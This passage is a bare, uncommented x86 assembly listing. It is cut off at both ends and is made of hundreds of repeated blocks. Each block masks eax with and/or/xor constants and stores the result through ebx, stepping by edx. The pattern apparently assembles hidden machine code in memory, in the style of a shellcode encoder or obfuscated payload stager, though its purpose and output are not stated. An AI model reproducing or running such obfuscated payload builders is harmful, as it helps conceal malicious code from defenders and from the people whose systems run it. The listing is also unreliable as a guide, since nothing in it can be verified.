and eax, 0x2d88318f
and eax, 0x3b7a485a
and eax, 0x2008000a
or eax, 0x13f44581
mov dword [ebx], eax
add ebx, edx
and eax, 0x1a0de3a9
xor eax, 0x46df4c86
and eax, 0x44130805
or eax, 0x128b040
mov dword [ebx], eax
add ebx, edx
or eax, 0x144b3eac
or eax, 0x6cbaa43
and eax, 0x3213cac
or eax, 0x88044110
mov dword [ebx], eax
add ebx, edx
or eax, 0x2a2e010f
and eax, 0x92b380d
or eax, 0x44108040
mov dword [ebx], eax
add ebx, edx
and eax, 0x18e4390
and eax, 0x1000000
or eax, 0x8a147cb0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4bd91a23
and eax, 0x800d2411
or eax, 0x2f028844
mov dword [ebx], eax
add ebx, edx
or eax, 0xc6fb6
and eax, 0x50bc855
or eax, 0x50301000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5685555c
or eax, 0x88a63c2
and eax, 0xb086cc0
or eax, 0x80001034
mov dword [ebx], eax
add ebx, edx
or eax, 0x4a9418d8
and eax, 0x41186044
or eax, 0x4238001
mov dword [ebx], eax
add ebx, edx
or eax, 0x12fa5ef0
xor eax, 0x49c5ab78
and eax, 0xa085584
or eax, 0x81012870
mov dword [ebx], eax
add ebx, edx
or eax, 0x39cec314
and eax, 0xa983b844
or eax, 0x40000009
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6859e935
or eax, 0x316a1646
and eax, 0xb0480100
or eax, 0x8058801
mov dword [ebx], eax
add ebx, edx
xor eax, 0x133b2690
xor eax, 0x7e280938
and eax, 0x11180489
or eax, 0x2aa05102
mov dword [ebx], eax
add ebx, edx
xor eax, 0x218d57e1
and eax, 0xa340040
or eax, 0x2448f415
mov dword [ebx], eax
add ebx, edx
or eax, 0x44fd3908
and eax, 0x22d44509
or eax, 0x1000082
mov dword [ebx], eax
add ebx, edx
xor eax, 0x20e7b523
or eax, 0x3374c917
and eax, 0x2275e005
or eax, 0x4000440
mov dword [ebx], eax
add ebx, edx
xor eax, 0xba31320
and eax, 0x692e8ece
and eax, 0x21000400
or eax, 0x12f8498b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x19fede73
and eax, 0x8009048
or eax, 0x85896005
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5bc71229
or eax, 0x4718c812
and eax, 0xd75ee850
or eax, 0x28a11580
mov dword [ebx], eax
add ebx, edx
xor eax, 0x14d2b3da
and eax, 0x8320440a
or eax, 0xd01181
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2ce6c8dc
and eax, 0x764e9ce7
and eax, 0x4000042
or eax, 0x51890180
mov dword [ebx], eax
add ebx, edx
or eax, 0x145ff17a
or eax, 0x5a5a255a
and eax, 0x509d81f0
or eax, 0x80200200
mov dword [ebx], eax
add ebx, edx
xor eax, 0x145233cd
or eax, 0x2d40d1f3
and eax, 0xeff1fd
or eax, 0x100e00
mov dword [ebx], eax
add ebx, edx
xor eax, 0xe5f74dc
and eax, 0x4800821
or eax, 0x410b0054
mov dword [ebx], eax
add ebx, edx
xor eax, 0xba5e9e9
xor eax, 0x5984802e
and eax, 0x1a0
or eax, 0xc845024c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2d6c4b2a
or eax, 0x2f7b9cf4
and eax, 0x4d0b0874
or eax, 0x800100
mov dword [ebx], eax
add ebx, edx
or eax, 0x527e04ad
and eax, 0x1e901c8
or eax, 0x8200
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2e1c5b3e
or eax, 0x666728ba
and eax, 0xbc04888
or eax, 0x80080501
mov dword [ebx], eax
add ebx, edx
xor eax, 0x762d96c0
xor eax, 0x671a38a5
and eax, 0x1033c044
or eax, 0x45001c11
mov dword [ebx], eax
add ebx, edx
and eax, 0x34cc99c0
and eax, 0x14000840
or eax, 0x828407b8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7dd8aff5
or eax, 0x26ddb63f
and eax, 0x8b000000
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x725fe804
xor eax, 0x181de1a0
and eax, 0x41020004
or eax, 0x401d041
mov dword [ebx], eax
add ebx, edx
and eax, 0x456ca515
xor eax, 0x3869b1c4
and eax, 0x684131c0
or eax, 0x80040a30
mov dword [ebx], eax
add ebx, edx
or eax, 0x50e3b4ce
and eax, 0x878d0e
or eax, 1
mov dword [ebx], eax
add ebx, edx
and eax, 0x1bd93833
and eax, 0x810000
or eax, 0x4d0a0000
mov dword [ebx], eax
add ebx, edx
or eax, 0x43871c9b
and eax, 0x4ee7a9b
and eax, 0xc1898
or eax, 0xe8412320
mov dword [ebx], eax
add ebx, edx
or eax, 0x6e8b18f2
xor eax, 0x655c12ee
and eax, 0x1832914
or eax, 0x54085669
mov dword [ebx], eax
add ebx, edx
and eax, 0x13fcb72b
and eax, 0x10000328
or eax, 0xac5500c0
mov dword [ebx], eax
add ebx, edx
or eax, 0x124ffd70
or eax, 0x56ce5ae2
and eax, 0x448b7770
or eax, 0x1000004
mov dword [ebx], eax
add ebx, edx
and eax, 0x3bb73472
xor eax, 0x31770ed2
and eax, 0x8408a0
or eax, 0xcc018110
mov dword [ebx], eax
add ebx, edx
and eax, 0x7eeb56db
and eax, 0x8810090
or eax, 0x837eff6d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5a095d71
and eax, 0x8180a00c
or eax, 0xc091841
mov dword [ebx], eax
add ebx, edx
and eax, 0x248ae695
and eax, 0x488a000
or eax, 0xfb775dc8
mov dword [ebx], eax
add ebx, edx
or eax, 0x27fef84e
and eax, 0x83b0558a
or eax, 1
mov dword [ebx], eax
add ebx, edx
xor eax, 0x598b7184
xor eax, 0x36366005
and eax, 0x44090002
or eax, 0x118001c0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6d16dc87
and eax, 0x8858900
or eax, 0xc40002b0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x56fc1709
and eax, 0x1a799cb9
or eax, 0x21866344
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6155bdd9
xor eax, 0x1781195
and eax, 0x5bd04081
or eax, 0xa42d8804
mov dword [ebx], eax
add ebx, edx
or eax, 0x5108855b
and eax, 0x8b454cdf
or eax, 0x3020
mov dword [ebx], eax
add ebx, edx
or eax, 0x6c326478
and eax, 0xc103744d
or eax, 0x808000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x43120611
and eax, 0x80018000
or eax, 0x744c0901
mov dword [ebx], eax
add ebx, edx
or eax, 0x8e59399
xor eax, 0x2cb959d1
and eax, 0x80404008
or eax, 0x9801583
mov dword [ebx], eax
add ebx, edx
and eax, 0x11a8245d
and eax, 0xd450922
and eax, 0x1000000
or eax, 0xfefdc495
mov dword [ebx], eax
add ebx, edx
or eax, 0x5bfc4f7a
xor eax, 0x51351198
and eax, 0xa4408a67
or eax, 0x50050198
mov dword [ebx], eax
add ebx, edx
or eax, 0x69955dec
and eax, 0xfdc08589
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6c7a34e0
xor eax, 0x6b936588
and eax, 0x4809d4e1
or eax, 0x5822b1e
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1527d51
xor eax, 0x3ae2581d
and eax, 0x298280
or eax, 0x1c00140
mov dword [ebx], eax
add ebx, edx
or eax, 0x7f4bb9d8
and eax, 0xbc00988
or eax, 0x80004401
mov dword [ebx], eax
add ebx, edx
and eax, 0x5585654e
or eax, 0x783a4dd6
and eax, 0x79b84494
or eax, 0x86458001
mov dword [ebx], eax
add ebx, edx
and eax, 0x67cbc6f3
and eax, 0x40810091
or eax, 0x80143b6e
mov dword [ebx], eax
add ebx, edx
and eax, 0x6189fe40
and eax, 0x50abde04
and eax, 0x40811a00
or eax, 0x3c7ee5fd
mov dword [ebx], eax
add ebx, edx
and eax, 0x4190631a
or eax, 0x2062917
and eax, 0x40040b13
or eax, 0xac418000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2dd0aefc
or eax, 0x14dc47de
and eax, 0x11d84503
or eax, 0x2a000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x657c1c03
and eax, 0x10245800
or eax, 0x1598445
mov dword [ebx], eax
add ebx, edx
or eax, 0x65ea34ab
xor eax, 0x6d3698a3
and eax, 0x18c04408
or eax, 0x23240983
mov dword [ebx], eax
add ebx, edx
or eax, 0x2388bd2d
xor eax, 0x40432f0b
and eax, 0x92dd004
or eax, 0x500049
mov dword [ebx], eax
add ebx, edx
and eax, 0x5ac44d1f
and eax, 0x444009
or eax, 0x83b81582
mov dword [ebx], eax
add ebx, edx
and eax, 0x5e4b7501
and eax, 0x80100
or eax, 0x558100c2
mov dword [ebx], eax
add ebx, edx
or eax, 0x361a5ffa
and eax, 0x748149f8
or eax, 0x8820a004
mov dword [ebx], eax
add ebx, edx
or eax, 0x487670ae
xor eax, 0x3355ec9a
and eax, 0xa01564
or eax, 0x2018ea9b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x25842af2
and eax, 0x7d3151bc
and eax, 0x1000000
or eax, 0xe8000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x4d358749
or eax, 0x27ee4d8
and eax, 0x480
or eax, 0xa01
mov dword [ebx], eax
add ebx, edx
and eax, 0x67ac5fe
and eax, 0x480
or eax, 0x83b4410b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4b03ea9b
and eax, 0x33bf400f
and eax, 0x810000
or eax, 0x450801c0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1f370f97
and eax, 0x48b60e14
or eax, 0x50001a0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x19b59cf3
and eax, 0x4018101
or eax, 0xbc804a8
mov dword [ebx], eax
add ebx, edx
and eax, 0x567be95a
and eax, 0x5e1bed5e
and eax, 0x8000
or eax, 0x21884
mov dword [ebx], eax
add ebx, edx
and eax, 0x731e8867
and eax, 0x20800
or eax, 0x55b40700
mov dword [ebx], eax
add ebx, edx
and eax, 0x4c7a7c34
and eax, 0x73063dc6
and eax, 0x20400
or eax, 0xfd081ab
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5373b534
and eax, 0x84
or eax, 0x28c00
mov dword [ebx], eax
add ebx, edx
or eax, 0xfbfea63
and eax, 0x5b60e00
or eax, 0x40000100
mov dword [ebx], eax
add ebx, edx
and eax, 0x6cdcbd5a
and eax, 0x4800500
or eax, 0xb4080aa
mov dword [ebx], eax
add ebx, edx
or eax, 0x754b989c
and eax, 0x28084
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x58d2314
and eax, 0x40d8300
or eax, 0xb0400800
mov dword [ebx], eax
add ebx, edx
or eax, 0x2f3b3350
or eax, 0x53948f81
and eax, 0xfd1ca981
or eax, 0x4000
mov dword [ebx], eax
add ebx, edx
or eax, 0x278b949b
or eax, 0x2fe06b90
and eax, 0x4d890000
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x71aab6ad
and eax, 0
or eax, 0xbc558bb4
mov dword [ebx], eax
add ebx, edx
and eax, 0x49604f99
and eax, 0x13aaea72
and eax, 0
or eax, 0x89b4552b
mov dword [ebx], eax
add ebx, edx
or eax, 0x4e7d8e4
and eax, 0x4ddfd581
and eax, 0x9c39401
or eax, 0x282854
mov dword [ebx], eax
add ebx, edx
or eax, 0x226ccdaa
and eax, 0x3ac458b
or eax, 0x80100000
mov dword [ebx], eax
add ebx, edx
and eax, 0x1b8f22b
and eax, 0x1880000
or eax, 0x440101c0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x61d4bf88
and eax, 0x437afd28
and eax, 0x488808
or eax, 0xbc0503b4
mov dword [ebx], eax
add ebx, edx
and eax, 0x273df1f3
and eax, 0x4040130
or eax, 0xbd04c0b
mov dword [ebx], eax
add ebx, edx
and eax, 0x590f281b
or eax, 0x151d20d8
and eax, 0x889
or eax, 0x24204
mov dword [ebx], eax
add ebx, edx
or eax, 0x7917bb80
and eax, 0x78158b00
or eax, 0x80400000
mov dword [ebx], eax
add ebx, edx
and eax, 0x6bbfc3d1
and eax, 0x8018200
or eax, 0x81006883
mov dword [ebx], eax
add ebx, edx
xor eax, 0x41ca0448
and eax, 0x408be841
or eax, 0x5001014
mov dword [ebx], eax
add ebx, edx
and eax, 0x607e4424
and eax, 0x40000004
or eax, 0xa84533d8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4f86f922
and eax, 0xa5808088
or eax, 0x583c0501
mov dword [ebx], eax
add ebx, edx
or eax, 0xef458fb
xor eax, 0x7ee2c47e
and eax, 0x10a1985
or eax, 0x4c81e67a
mov dword [ebx], eax
add ebx, edx
and eax, 0x438c9e91
and eax, 0x888880
or eax, 0xb805014c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x18de01d1
and eax, 0x7eccacde
and eax, 0x40881c
or eax, 0x8bbf77e1
mov dword [ebx], eax
add ebx, edx
and eax, 0x3933296e
and eax, 0x32844
or eax, 0xc280c011
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3c30ee0f
and eax, 0xe8110000
or eax, 0x448901
mov dword [ebx], eax
add ebx, edx
xor eax, 0xe78bd
or eax, 0x1e0bd6d6
and eax, 0xfc18858a
or eax, 0x1a40001
mov dword [ebx], eax
add ebx, edx
or eax, 0x4b156a92
and eax, 0x8539ef9b
or eax, 0x21064
mov dword [ebx], eax
add ebx, edx
or eax, 0x32b6c903
xor eax, 0x300bbe0d
and eax, 0x87b441b0
or eax, 0x784bbc08
mov dword [ebx], eax
add ebx, edx
or eax, 0x6e4361a7
xor eax, 0x40ab7f2e
and eax, 0xd000011
or eax, 0x408b756c
mov dword [ebx], eax
add ebx, edx
or eax, 0x5636679f
and eax, 0x4daf07ac
or eax, 0x800
mov dword [ebx], eax
add ebx, edx
or eax, 0x5ad51359
xor eax, 0x64ee8352
and eax, 0x18011880
or eax, 0xc04c2350
mov dword [ebx], eax
add ebx, edx
xor eax, 0x42f072f
and eax, 0x6d2589b7
and eax, 0x44000835
or eax, 0x118b6148
mov dword [ebx], eax
add ebx, edx
or eax, 0x9d0a5c9
and eax, 0x445129c0
or eax, 0x80040200
mov dword [ebx], eax
add ebx, edx
and eax, 0x22db7d60
and eax, 0x51199e85
and eax, 0x10000
or eax, 0x458a1075
mov dword [ebx], eax
add ebx, edx
and eax, 0x2e0281b2
xor eax, 0x6c920857
and eax, 0x48000860
or eax, 0x90453398
mov dword [ebx], eax
add ebx, edx
or eax, 0x2cf6590c
and eax, 0x4c83597c
or eax, 0x1080001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6cb65671
or eax, 0x5444b057
and eax, 0x304d3b5c
or eax, 0x800000a0
mov dword [ebx], eax
add ebx, edx
or eax, 0x6c44f80d
and eax, 0x5409517d
or eax, 0x1820000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2ba16cb9
xor eax, 0x3f24b950
and eax, 0x40094
or eax, 0xac513b48
mov dword [ebx], eax
add ebx, edx
or eax, 0x52d79879
and eax, 0x4483387c
or eax, 0x1080000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2ae6b85c
or eax, 0x44d520aa
and eax, 0x45ad00a8
or eax, 0x20f50
mov dword [ebx], eax
add ebx, edx
xor eax, 0x340a5705
and eax, 0x3c158e77
and eax, 0x30000034
or eax, 0x44c08580
mov dword [ebx], eax
add ebx, edx
or eax, 0x2a25df49
and eax, 0xb45980b
and eax, 0x458808
or eax, 0xd0080336
mov dword [ebx], eax
add ebx, edx
and eax, 0x2183eea1
and eax, 0x18a00
or eax, 0xc44c250f
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3c36568d
and eax, 0xf8308980
or eax, 0x5840409
mov dword [ebx], eax
add ebx, edx
or eax, 0x384dda5f
or eax, 0x510ad662
and eax, 0x558bdfff
or eax, 0x2000
mov dword [ebx], eax
add ebx, edx
and eax, 0x14ef86d6
and eax, 0x108180d0
or eax, 0xa0140920
mov dword [ebx], eax
add ebx, edx
or eax, 0x33d2b93e
and eax, 0x83d7b9fc
or eax, 0x8284601
mov dword [ebx], eax
add ebx, edx
xor eax, 0x573a83f8
and eax, 0xc8815005
or eax, 0x20028040
mov dword [ebx], eax
add ebx, edx
or eax, 0x3ad77543
or eax, 0x76626128
and eax, 0xd0458101
or eax, 0x800
mov dword [ebx], eax
add ebx, edx
and eax, 0x1cd8532e
xor eax, 0x10eed389
and eax, 0xa48089
or eax, 0xfd100d02
mov dword [ebx], eax
add ebx, edx
and eax, 0x26f460fd
and eax, 0x4300089
or eax, 0x890bff76
mov dword [ebx], eax
add ebx, edx
and eax, 0x44393078
and eax, 0x4393030
or eax, 0xfbc6cd80
mov dword [ebx], eax
add ebx, edx
or eax, 0x6e07e93b
or eax, 0x581159c
and eax, 0x558b113d
or eax, 0x40
mov dword [ebx], eax
add ebx, edx
or eax, 0x566e984
and eax, 0x404539f4
or eax, 0x80100200
mov dword [ebx], eax
add ebx, edx
xor eax, 0x77555845
and eax, 0x5000131
or eax, 0x408b084c
mov dword [ebx], eax
add ebx, edx
or eax, 0x3e9ae6b4
and eax, 0x18883ac
or eax, 0x600000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x79ddc03e
and eax, 0x8244180
or eax, 0x83880409
mov dword [ebx], eax
add ebx, edx
and eax, 0x6ab48470
and eax, 0x464fa461
and eax, 0x400
or eax, 0xe983e04d
mov dword [ebx], eax
add ebx, edx
or eax, 0x5a354eaa
and eax, 0x626e7585
and eax, 0x60040001
or eax, 0x84498900
mov dword [ebx], eax
add ebx, edx
or eax, 0x4323fe11
xor eax, 0x52cf99fe
and eax, 0x81a0448b
or eax, 0x2581100
mov dword [ebx], eax
add ebx, edx
and eax, 0x10119267
and eax, 2
or eax, 0x558901c0
mov dword [ebx], eax
add ebx, edx
and eax, 0x5b7bb261
and eax, 0x50010040
or eax, 0xa0448bb8
mov dword [ebx], eax
add ebx, edx
or eax, 0x53252df5
and eax, 0x8101a881
or eax, 0x8004002
mov dword [ebx], eax
add ebx, edx
and eax, 0x1fa801cb
and eax, 0x9000001
or eax, 0x448bf044
mov dword [ebx], eax
add ebx, edx
or eax, 0x646bcfa5
or eax, 0x637f580d
and eax, 0x1e983e0
or eax, 0x10
mov dword [ebx], eax
add ebx, edx
and eax, 0x3c4e1396
xor eax, 0x415caf1c
and eax, 0x1100c88
or eax, 0x8ae04101
mov dword [ebx], eax
add ebx, edx
xor eax, 0x63ee4b09
xor eax, 0x41b54ffc
and eax, 0x80834854
or eax, 0x4200b401
mov dword [ebx], eax
add ebx, edx
xor eax, 0x354ff531
and eax, 0xf4440900
or eax, 0x8118001
mov dword [ebx], eax
add ebx, edx
and eax, 0xc1dace
or eax, 0x1d09d046
and eax, 0x1004002
or eax, 0x2b00589
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5afab44b
and eax, 0x410ab040
or eax, 0x4310405
mov dword [ebx], eax
add ebx, edx
or eax, 0x13f9efc7
and eax, 0x58985c31
and eax, 0x5c00
or eax, 0x8b4420d8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1540ec67
and eax, 0x8e04800d
or eax, 0x210b6040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x64f38c3a
or eax, 0xb0e9af0
and eax, 0x493af045
or eax, 0x4010008
mov dword [ebx], eax
add ebx, edx
or eax, 0x5d016c71
xor eax, 0x349be701
and eax, 0x9201978
or eax, 0x820c6480
mov dword [ebx], eax
add ebx, edx
or eax, 0x11317231
and eax, 0x11297c51
or eax, 0x44028004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2f18e259
and eax, 0x28110808
or eax, 0x848481d0
mov dword [ebx], eax
add ebx, edx
xor eax, 0xe6dd90b
and eax, 0x82f850d1
or eax, 0x907af2c
mov dword [ebx], eax
add ebx, edx
and eax, 0x39cb236d
xor eax, 0x21a57a6a
and eax, 0x84805
or eax, 0x85818040
mov dword [ebx], eax
add ebx, edx
and eax, 0xfd661f0
and eax, 0x5804000
or eax, 0xfa7fbda8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x651aea18
and eax, 0x589d46e
and eax, 0x800400
or eax, 0x8358498b
mov dword [ebx], eax
add ebx, edx
or eax, 0x36745dea
and eax, 0x58801c1
or eax, 0x48010000
mov dword [ebx], eax
add ebx, edx
and eax, 0x29d7db31
and eax, 0x8810100
or eax, 0xa4148ad8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x605be1f6
and eax, 0x8ce6a2c
or eax, 0x333195d1
mov dword [ebx], eax
add ebx, edx
and eax, 0x1a485f99
and eax, 0x1a480891
or eax, 0xe5b5a004
mov dword [ebx], eax
add ebx, edx
or eax, 0xe55dd2c
and eax, 0x8b0c7cbd
or eax, 0x42
mov dword [ebx], eax
add ebx, edx
or eax, 0x31919293
and eax, 0x6b931ede
and eax, 0x1110844
or eax, 0x442ac001
mov dword [ebx], eax
add ebx, edx
or eax, 0x45035870
or eax, 0x325656a
and eax, 0x60d0d44
or eax, 0x80800280
mov dword [ebx], eax
add ebx, edx
or eax, 0x69f75ff0
and eax, 0x8b000000
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x361042f7
and eax, 0xd004045
or eax, 0x402bac08
mov dword [ebx], eax
add ebx, edx
or eax, 0x2af9ae2f
and eax, 0x47791c91
and eax, 0x44490800
or eax, 0xa00433f4
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7480620a
and eax, 0x1089597c
or eax, 0x45022201
mov dword [ebx], eax
add ebx, edx
or eax, 0x2ccb0525
and eax, 0x14a949e0
and eax, 0x10010920
or eax, 0xa054328c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4b954260
xor eax, 0x7be7d721
and eax, 0x3226d
or eax, 0x45885110
mov dword [ebx], eax
add ebx, edx
and eax, 0xe7791ab
and eax, 0x11120
or eax, 0xd8442ad0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x202c6ec8
or eax, 0x490af4a7
and eax, 0x490b613d
or eax, 0x4800a40
mov dword [ebx], eax
add ebx, edx
xor eax, 0x31354503
and eax, 0x380c2a7c
or eax, 0x80411180
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6c2ff027
or eax, 0x3acfbbeb
and eax, 0x548b5a78
or eax, 0x1000004
mov dword [ebx], eax
add ebx, edx
and eax, 0x33f540c5
and eax, 0x5ef23e37
and eax, 0x10000000
or eax, 0xcc553bb0
mov dword [ebx], eax
add ebx, edx
and eax, 0x59ba6503
and eax, 0
or eax, 0x85c70c7d
mov dword [ebx], eax
add ebx, edx
and eax, 0x6bff4b9
and eax, 0x4870418
or eax, 0xfb78fb44
mov dword [ebx], eax
add ebx, edx
xor eax, 0x62c49737
and eax, 1
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x3270f561
or eax, 0x1d34d8df
and eax, 0x50408cb
or eax, 0x80c30220
mov dword [ebx], eax
add ebx, edx
xor eax, 0x79ee91c5
and eax, 0xfc299b0c
or eax, 0x3d66450
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2149c522
xor eax, eax
mov dword [ebx], eax
add ebx, edx
xor eax, 0x68e5e466
and eax, 0x20e04402
or eax, 0x13100189
mov dword [ebx], eax
add ebx, edx
and eax, 0x1f2f353e
and eax, 0x13200400
or eax, 0xecdf5885
mov dword [ebx], eax
add ebx, edx
or eax, 0x753198b3
and eax, 0x8b0854b7
or eax, 0x2048
mov dword [ebx], eax
add ebx, edx
or eax, 0xb9eed40
and eax, 0x90aec4d
or eax, 0x44210000
mov dword [ebx], eax
add ebx, edx
or eax, 0x36826449
and eax, 0xb296448
or eax, 0x80001180
mov dword [ebx], eax
add ebx, edx
and eax, 0x778c2788
xor eax, 0x53288440
and eax, 0x50208040
or eax, 0x51b5015
mov dword [ebx], eax
add ebx, edx
and eax, 0x3e44f282
or eax, 0x500d4908
and eax, 0x440c5908
or eax, 0x830024f0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2b540e20
xor eax, 0x2e7b67a5
and eax, 0xc2231005
or eax, 0x3ddc4880
mov dword [ebx], eax
add ebx, edx
or eax, 0x11a5753d
and eax, 0x1bd
or eax, 0x42
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3a7581fb
xor eax, 0x6afed27e
and eax, 0x400a4200
or eax, 0x8700a900
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2d246de9
xor eax, 0x547eaaee
and eax, 0xbe500805
or eax, 0x41af5080
mov dword [ebx], eax
add ebx, edx
or eax, 0x5af26cba
and eax, 0xbf
or eax, 0x40
mov dword [ebx], eax
add ebx, edx
xor eax, 0x159f24b9
xor eax, 0x3e28de48
and eax, 0x20058a00
or eax, 0xd4400100
mov dword [ebx], eax
add ebx, edx
and eax, 0x6afb8411
and eax, 0xb736516
and eax, 0x400000
or eax, 0xff188533
mov dword [ebx], eax
add ebx, edx
or eax, 0x51a9fc40
and eax, 0x7550f331
and eax, 0x150f131
or eax, 0x8240ece
mov dword [ebx], eax
add ebx, edx
xor eax, 0x45c98d7d
and eax, 0x42e0ea57
and eax, 0xa04002
or eax, 0x83500d89
mov dword [ebx], eax
add ebx, edx
or eax, 0x175cdefa
and eax, 0x58801c1
or eax, 0x48010000
mov dword [ebx], eax
add ebx, edx
and eax, 0x52f07c9d
xor eax, 0x397ea999
and eax, 0x30548910
or eax, 0x800102e0
mov dword [ebx], eax
add ebx, edx
or eax, 0x28f1a057
xor eax, 0x5bdc318b
and eax, 0x81018a00
or eax, 0x8006083
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5ddab513
or eax, 0x3f5de341
and eax, 0x458bb051
or eax, 4
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2bcda5ae
and eax, 0x644411b0
or eax, 0x90012a00
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4b8ab29f
xor eax, 0x27e72e0e
and eax, 0x80000421
or eax, 0x5c7085c
mov dword [ebx], eax
add ebx, edx
or eax, 0x4ce4c11c
and eax, 0xcde7cd54
or eax, 0x32183200
mov dword [ebx], eax
add ebx, edx
and eax, 0x26ffe268
and eax, 0
or eax, 1
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1ce26e27
xor eax, 0x4f21b433
and eax, 0x1c30a01
or eax, 0x840400ea
mov dword [ebx], eax
add ebx, edx
or eax, 0x732dad96
xor eax, 0x15d706c1
and eax, 0xe238a914
or eax, 0x1dc75640
mov dword [ebx], eax
add ebx, edx
xor eax, 0x77389736
or eax, 0x144e8b05
xor eax, eax
mov dword [ebx], eax
add ebx, edx
and eax, 0x34c80cf1
and eax, 0
or eax, 0xbf04d8b
mov dword [ebx], eax
add ebx, edx
or eax, 0x11b46913
and eax, 0x56c52bd4
and eax, 0x12c40080
or eax, 0xed3b540d
mov dword [ebx], eax
add ebx, edx
and eax, 0x28ebba36
xor eax, 0x2f0ce99e
and eax, 0x301719a
or eax, 0x88180465
mov dword [ebx], eax
add ebx, edx
or eax, 0x4551ee4a
and eax, 0xc201e855
or eax, 0x820000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6a19235e
or eax, 0x7ee02ccb
and eax, 0xe8508901
or eax, 0x50000
mov dword [ebx], eax
add ebx, edx
and eax, 0x2a67e570
xor eax, 0x74faa7ec
and eax, 0x18a80488
or eax, 0x23404103
mov dword [ebx], eax
add ebx, edx
and eax, 0x128e0b66
and eax, 0x10080000
or eax, 0x175e445
mov dword [ebx], eax
add ebx, edx
or eax, 0x268ff82a
xor eax, 0x6fdd91f8
and eax, 0x8204d83
or eax, 0x23d40008
mov dword [ebx], eax
add ebx, edx
or eax, 0x3c0c7f26
xor eax, 0x7fdcb0fb
and eax, 0x20c844
or eax, 0x9540009
mov dword [ebx], eax
add ebx, edx
and eax, 0xc3df0b3
and eax, 0x244001
or eax, 0x83c0158a
mov dword [ebx], eax
add ebx, edx
and eax, 0x5549a5d9
and eax, 0x1000180
or eax, 0x54890042
mov dword [ebx], eax
add ebx, edx
and eax, 0x3e7debce
xor eax, 0x31295a74
and eax, 0x24000ba4
or eax, 0xc0458040
mov dword [ebx], eax
add ebx, edx
and eax, 0x5cb7ff7d
or eax, 0x3fc3723f
and eax, 0x7cc4413b
or eax, 0x280400
mov dword [ebx], eax
add ebx, edx
or eax, 0x47930494
and eax, 0x78cba20f
and eax, 0x70490001
or eax, 0x80048b20
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3952253d
and eax, 0x91c0c08
or eax, 0x32e04123
mov dword [ebx], eax
add ebx, edx
and eax, 0x45eb93ba
and eax, 0x4a13fdbd
and eax, 8
or eax, 0xb7dc845
mov dword [ebx], eax
add ebx, edx
and eax, 0x1dc40ff6
or eax, 0x7388c998
and eax, 0x3c44188
or eax, 0x1403
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4ddc6118
and eax, 0x44180411
or eax, 0x1123c844
mov dword [ebx], eax
add ebx, edx
and eax, 0x1944b05d
xor eax, 0x26e12d1
and eax, 0x30a1080
or eax, 0x88016c48
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7e37269f
xor eax, 0x724f78cf
and eax, 0x5232000
or eax, 0x40089845
mov dword [ebx], eax
add ebx, edx
or eax, 0x54f37cec
and eax, 0x4087d6b7
and eax, 0x40011080
or eax, 0x88442b40
mov dword [ebx], eax
add ebx, edx
and eax, 0x38e2f66d
and eax, 0x8001040
or eax, 0x458b0c3d
mov dword [ebx], eax
add ebx, edx
or eax, 0x1b1384ff
xor eax, 0x2233ea2e
and eax, 0x700832c0
or eax, 0x80450900
mov dword [ebx], eax
add ebx, edx
xor eax, 0x464cbcd4
and eax, 0x14010414
or eax, 0x418a1069
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2629c9bb
or eax, 0x1597b471
and eax, 0x55a70dd0
or eax, 0x80200
mov dword [ebx], eax
add ebx, edx
and eax, 0x35f5f430
and eax, 0xfcd4d18
